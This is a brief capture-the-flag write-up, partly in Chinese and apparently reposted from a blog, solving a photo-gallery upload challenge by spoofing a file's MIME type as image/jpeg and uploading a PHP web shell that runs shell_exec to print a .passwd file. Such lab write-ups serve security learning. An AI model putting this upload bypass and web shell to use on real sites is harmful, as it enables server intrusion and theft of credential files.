Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
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修改mime type类型即可，常用类型：
• 超文本标记语言：.html text.html
• 普通文件：.txt text/plain
• RTF文件：.rtf application/rtf
• GIF图形：.gif image/gif
• JPEG图形：.jpeg，.jpg image/jpeg
<?php
$a = shell_exec("cat ../../../.passwd");
echo "</pre>$a</pre>";
?>
再上传php中将mime type 更改为image/jpeg
原文：https://www.cnblogs.com/abbin-blog/p/12073327.html